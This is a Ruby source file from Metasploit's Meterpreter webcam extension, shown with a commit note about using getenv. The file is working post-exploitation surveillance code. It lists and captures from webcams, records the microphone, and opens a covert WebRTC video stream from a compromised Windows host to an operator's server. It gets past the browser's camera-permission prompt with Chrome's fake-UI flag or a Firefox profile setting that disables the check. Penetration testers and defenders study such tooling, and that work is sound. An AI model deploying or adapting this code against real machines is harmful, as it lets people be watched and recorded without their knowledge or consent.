53557cc92e
expand_path is not implemented consistently across platforms and sessions, which leads to confusing behavior. In places where we have trivial single variable expansions, this changes modules and library code to just use getenv. We'll look at the rest individually to see if they can also be reimplemented in terms of getenv.
200 lines
5.5 KiB
Ruby
200 lines
5.5 KiB
Ruby
# -*- coding: binary -*-
|
|
|
|
module Rex
|
|
module Post
|
|
module Meterpreter
|
|
module Extensions
|
|
module Stdapi
|
|
module Webcam
|
|
|
|
###
|
|
#
|
|
# This meterpreter extension can list and capture from webcams and/or microphone
|
|
#
|
|
###
|
|
class Webcam
|
|
include Msf::Post::Common
|
|
include Msf::Post::File
|
|
include Msf::Post::WebRTC
|
|
|
|
def initialize(client)
|
|
@client = client
|
|
end
|
|
|
|
def session
|
|
@client
|
|
end
|
|
|
|
def webcam_list
|
|
response = client.send_request(Packet.create_request('webcam_list'))
|
|
names = []
|
|
response.get_tlvs(TLV_TYPE_WEBCAM_NAME).each do |tlv|
|
|
names << tlv.value
|
|
end
|
|
names
|
|
end
|
|
|
|
# Starts recording video from video source of index +cam+
|
|
def webcam_start(cam)
|
|
request = Packet.create_request('webcam_start')
|
|
request.add_tlv(TLV_TYPE_WEBCAM_INTERFACE_ID, cam)
|
|
client.send_request(request)
|
|
true
|
|
end
|
|
|
|
def webcam_get_frame(quality)
|
|
request = Packet.create_request('webcam_get_frame')
|
|
request.add_tlv(TLV_TYPE_WEBCAM_QUALITY, quality)
|
|
response = client.send_request(request)
|
|
response.get_tlv(TLV_TYPE_WEBCAM_IMAGE).value
|
|
end
|
|
|
|
def webcam_stop
|
|
client.send_request(Packet.create_request('webcam_stop'))
|
|
true
|
|
end
|
|
|
|
#
|
|
# Starts a webcam session with a remote user via WebRTC
|
|
#
|
|
# @param server [String] A server to use for the channel.
|
|
# @return void
|
|
#
|
|
def webcam_chat(server)
|
|
offerer_id = Rex::Text.rand_text_alphanumeric(10)
|
|
channel = Rex::Text.rand_text_alphanumeric(20)
|
|
|
|
remote_browser_path = webrtc_browser_path
|
|
|
|
if remote_browser_path.to_s.strip.empty?
|
|
fail "Unable to find a suitable browser on the target machine"
|
|
end
|
|
|
|
init_video_chat(remote_browser_path, server, channel, offerer_id)
|
|
connect_video_chat(server, channel, offerer_id)
|
|
end
|
|
|
|
# Record from default audio source for +duration+ seconds;
|
|
# returns a low-quality wav file
|
|
def record_mic(duration)
|
|
request = Packet.create_request('webcam_audio_record')
|
|
request.add_tlv(TLV_TYPE_AUDIO_DURATION, duration)
|
|
response = client.send_request(request)
|
|
response.get_tlv(TLV_TYPE_AUDIO_DATA).value
|
|
end
|
|
|
|
attr_accessor :client
|
|
|
|
private
|
|
|
|
#
|
|
# Returns a browser path that supports WebRTC
|
|
#
|
|
# @return [String]
|
|
#
|
|
def webrtc_browser_path
|
|
found_browser_path = ''
|
|
|
|
case client.platform
|
|
when /win/
|
|
paths = [
|
|
"%ProgramFiles(x86)%\\Google\\Chrome\\Application\\chrome.exe",
|
|
"%ProgramFiles%\\Google\\Chrome\\Application\\chrome.exe",
|
|
"%ProgramW6432%\\Google\\Chrome\\Application\\chrome.exe",
|
|
"%ProgramFiles(x86)%\\Mozilla Firefox\\firefox.exe",
|
|
"%ProgramFiles%\\Mozilla Firefox\\firefox.exe",
|
|
"%ProgramW6432%\\Mozilla Firefox\\firefox.exe"
|
|
]
|
|
|
|
# Old chrome path
|
|
user_profile = client.sys.config.getenv("USERPROFILE")
|
|
paths << "#{user_profile}\\Local Settings\\Application Data\\Google\\Chrome\\Application\\chrome.exe"
|
|
|
|
paths.each do |browser_path|
|
|
if file?(browser_path)
|
|
found_browser_path = browser_path
|
|
break
|
|
end
|
|
end
|
|
|
|
when /osx|bsd/
|
|
[
|
|
'/Applications/Google Chrome.app',
|
|
'/Applications/Firefox.app'
|
|
].each do |browser_path|
|
|
if file?(browser_path)
|
|
found_browser_path = browser_path
|
|
break
|
|
end
|
|
end
|
|
when /linux|unix/
|
|
# Need to add support for Linux in the future.
|
|
# But you see, the Linux meterpreter is so broken there is no point
|
|
# to do it now. You can't test anyway.
|
|
end
|
|
|
|
found_browser_path
|
|
end
|
|
|
|
#
|
|
# Creates a video chat session as an offerer... involuntarily :-p
|
|
# Windows targets only.
|
|
#
|
|
# @param remote_browser_path [String] A browser path that supports WebRTC on the target machine
|
|
# @param offerer_id [String] A ID that the answerer can look for and join
|
|
#
|
|
def init_video_chat(remote_browser_path, server, channel, offerer_id)
|
|
interface = load_interface('offerer.html')
|
|
api = load_api_code
|
|
|
|
interface = interface.gsub(/\=SERVER\=/, server)
|
|
interface = interface.gsub(/\=CHANNEL\=/, channel)
|
|
interface = interface.gsub(/\=OFFERERID\=/, offerer_id)
|
|
|
|
tmp_dir = session.sys.config.getenv("TEMP")
|
|
|
|
begin
|
|
write_file("#{tmp_dir}\\interface.html", interface)
|
|
write_file("#{tmp_dir}\\api.js", api)
|
|
rescue RuntimeError => e
|
|
elog("webcam_chat failed. #{e.class} #{e}")
|
|
raise "Unable to initialize the interface on the target machine"
|
|
end
|
|
|
|
#
|
|
# Automatically allow the webcam to run on the target machine
|
|
#
|
|
args = ''
|
|
if remote_browser_path =~ /Chrome/
|
|
args = "--allow-file-access-from-files --use-fake-ui-for-media-stream"
|
|
elsif remote_browser_path =~ /Firefox/
|
|
profile_name = Rex::Text.rand_text_alpha(8)
|
|
o = cmd_exec("#{remote_browser_path} --CreateProfile #{profile_name} #{tmp_dir}\\#{profile_name}")
|
|
profile_path = (o.scan(/created profile '.+' at '(.+)'/).flatten[0] || '').strip
|
|
setting = %|user_pref("media.navigator.permission.disabled", true);|
|
|
begin
|
|
write_file(profile_path, setting)
|
|
rescue RuntimeError => e
|
|
elog("webcam_chat failed: #{e.class} #{e}")
|
|
raise "Unable to write the necessary setting for Firefox."
|
|
end
|
|
args = "-p #{profile_name}"
|
|
end
|
|
|
|
exec_opts = { 'Hidden' => false, 'Channelized' => false }
|
|
|
|
begin
|
|
session.sys.process.execute(remote_browser_path, "#{args} #{tmp_dir}\\interface.html", exec_opts)
|
|
rescue RuntimeError => e
|
|
elog("webcam_chat failed. #{e.class} #{e}")
|
|
raise "Unable to start the remote browser: #{e.message}"
|
|
end
|
|
end
|
|
end
|
|
end
|
|
end
|
|
end
|
|
end
|
|
end
|
|
end
|